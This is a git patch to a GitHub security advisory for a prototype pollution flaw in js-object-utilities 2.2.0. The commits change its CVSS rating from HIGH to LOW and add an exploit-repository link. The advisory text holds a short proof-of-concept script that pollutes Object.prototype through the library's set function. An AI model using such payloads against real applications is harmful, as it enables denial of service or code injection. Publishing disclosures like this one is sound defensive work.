From fcd7be06fa6c816a053fb5f8091d41a0cfea4602 Mon Sep 17 00:00:00 2001 From: Nahman Khayet Date: Fri, 22 Aug 2025 01:42:43 +0300 Subject: [PATCH 1/2] Improve GHSA-hpqf-m68j-2pfx --- .../04/GHSA-hpqf-m68j-2pfx/GHSA-hpqf-m68j-2pfx.json | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/advisories/github-reviewed/2025/04/GHSA-hpqf-m68j-2pfx/GHSA-hpqf-m68j-2pfx.json b/advisories/github-reviewed/2025/04/GHSA-hpqf-m68j-2pfx/GHSA-hpqf-m68j-2pfx.json index 57251bd0072ff..85c38c4865e22 100644 --- a/advisories/github-reviewed/2025/04/GHSA-hpqf-m68j-2pfx/GHSA-hpqf-m68j-2pfx.json +++ b/advisories/github-reviewed/2025/04/GHSA-hpqf-m68j-2pfx/GHSA-hpqf-m68j-2pfx.json @@ -1,19 +1,14 @@ { "schema_version": "1.4.0", "id": "GHSA-hpqf-m68j-2pfx", - "modified": "2025-04-14T22:11:03Z", + "modified": "2025-04-14T22:11:04Z", "published": "2025-04-07T18:52:04Z", "aliases": [ "CVE-2025-28269" ], "summary": "js-object-utilities Vulnerable to Prototype Pollution", "details": "**Vulnerability type:**\nPrototype Pollution\n\n**Affected Package:**\n* Product: js-object-utilities\n* Version: 2.2.0\n\n**Remedy:**\n\nUpdate package to version 2.2.1.\n\n**Vulnerability Location(s):**\n```js\nat module.exports (/node_modules/js-object-utilities/dist/set.js:16:29)\n```\n\n**Description:**\n\nThe latest version of `js-object-utilities (2.2.0)`, (previous versions are also affected), is vulnerable to Prototype Pollution through the entry function(s) `lib.set`. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.\n\nMoreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.\n\n**PoC:**\n\n```bash\n// install the package with the latest version\n~$ npm install js-object-utilities@2.2.0\n// run the script mentioned below \n~$ node poc.js\n//The expected output (if the code still vulnerable) is below. \n// Note that the output may slightly differs from function to another.\nBefore Attack: {}\nAfter Attack: {\"pollutedKey\":123}\n```\n\n```js\n// poc.js\n(async () => {\n const lib = await import('js-object-utilities');\n var someObj = {}\n console.log(\"Before Attack: \", JSON.stringify({}.__proto__));\n try {\n // for multiple functions, uncomment only one for each execution.\n Reflect.apply(lib.set, {}, [someObj, \"__proto__.pollutedKey\", 123]);\n } catch (e) { }\n console.log(\"After Attack: \", JSON.stringify({}.__proto__));\n delete Object.prototype.pollutedKey;\n})();\n```\n\n**Reporter Credit:**\n\nTariq Hawis", - "severity": [ - { - "type": "CVSS_V4", - "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P" - } - ], + "severity": [], "affected": [ { "package": { @@ -47,6 +42,10 @@ { "type": "PACKAGE", "url": "https://github.com/rrainn/js-object-utilities" + }, + { + "type": "WEB", + "url": "https://github.com/valmarelox/auto-exploits/tree/main/exploits/GHSA-hpqf-m68j-2pfx" } ], "database_specific": { From e3b6c3381d1b06d641fd9f756eed784f1a839f1c Mon Sep 17 00:00:00 2001 From: Nahman Khayet Date: Fri, 22 Aug 2025 13:55:20 +0300 Subject: [PATCH 2/2] Improve GHSA-hpqf-m68j-2pfx --- .../2025/04/GHSA-hpqf-m68j-2pfx/GHSA-hpqf-m68j-2pfx.json | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/advisories/github-reviewed/2025/04/GHSA-hpqf-m68j-2pfx/GHSA-hpqf-m68j-2pfx.json b/advisories/github-reviewed/2025/04/GHSA-hpqf-m68j-2pfx/GHSA-hpqf-m68j-2pfx.json index 85c38c4865e22..4ff4afeb8fde0 100644 --- a/advisories/github-reviewed/2025/04/GHSA-hpqf-m68j-2pfx/GHSA-hpqf-m68j-2pfx.json +++ b/advisories/github-reviewed/2025/04/GHSA-hpqf-m68j-2pfx/GHSA-hpqf-m68j-2pfx.json @@ -8,7 +8,12 @@ ], "summary": "js-object-utilities Vulnerable to Prototype Pollution", "details": "**Vulnerability type:**\nPrototype Pollution\n\n**Affected Package:**\n* Product: js-object-utilities\n* Version: 2.2.0\n\n**Remedy:**\n\nUpdate package to version 2.2.1.\n\n**Vulnerability Location(s):**\n```js\nat module.exports (/node_modules/js-object-utilities/dist/set.js:16:29)\n```\n\n**Description:**\n\nThe latest version of `js-object-utilities (2.2.0)`, (previous versions are also affected), is vulnerable to Prototype Pollution through the entry function(s) `lib.set`. An attacker can supply a payload with Object.prototype setter to introduce or modify properties within the global prototype chain, causing denial of service (DoS) a the minimum consequence.\n\nMoreover, the consequences of this vulnerability can escalate to other injection-based attacks, depending on how the library integrates within the application. For instance, if the polluted property propagates to sensitive Node.js APIs (e.g., exec, eval), it could enable an attacker to execute arbitrary commands within the application's context.\n\n**PoC:**\n\n```bash\n// install the package with the latest version\n~$ npm install js-object-utilities@2.2.0\n// run the script mentioned below \n~$ node poc.js\n//The expected output (if the code still vulnerable) is below. \n// Note that the output may slightly differs from function to another.\nBefore Attack: {}\nAfter Attack: {\"pollutedKey\":123}\n```\n\n```js\n// poc.js\n(async () => {\n const lib = await import('js-object-utilities');\n var someObj = {}\n console.log(\"Before Attack: \", JSON.stringify({}.__proto__));\n try {\n // for multiple functions, uncomment only one for each execution.\n Reflect.apply(lib.set, {}, [someObj, \"__proto__.pollutedKey\", 123]);\n } catch (e) { }\n console.log(\"After Attack: \", JSON.stringify({}.__proto__));\n delete Object.prototype.pollutedKey;\n})();\n```\n\n**Reporter Credit:**\n\nTariq Hawis", - "severity": [], + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N" + } + ], "affected": [ { "package": { @@ -52,7 +57,7 @@ "cwe_ids": [ "CWE-1321" ], - "severity": "HIGH", + "severity": "LOW", "github_reviewed": true, "github_reviewed_at": "2025-04-07T18:52:04Z", "nvd_published_at": null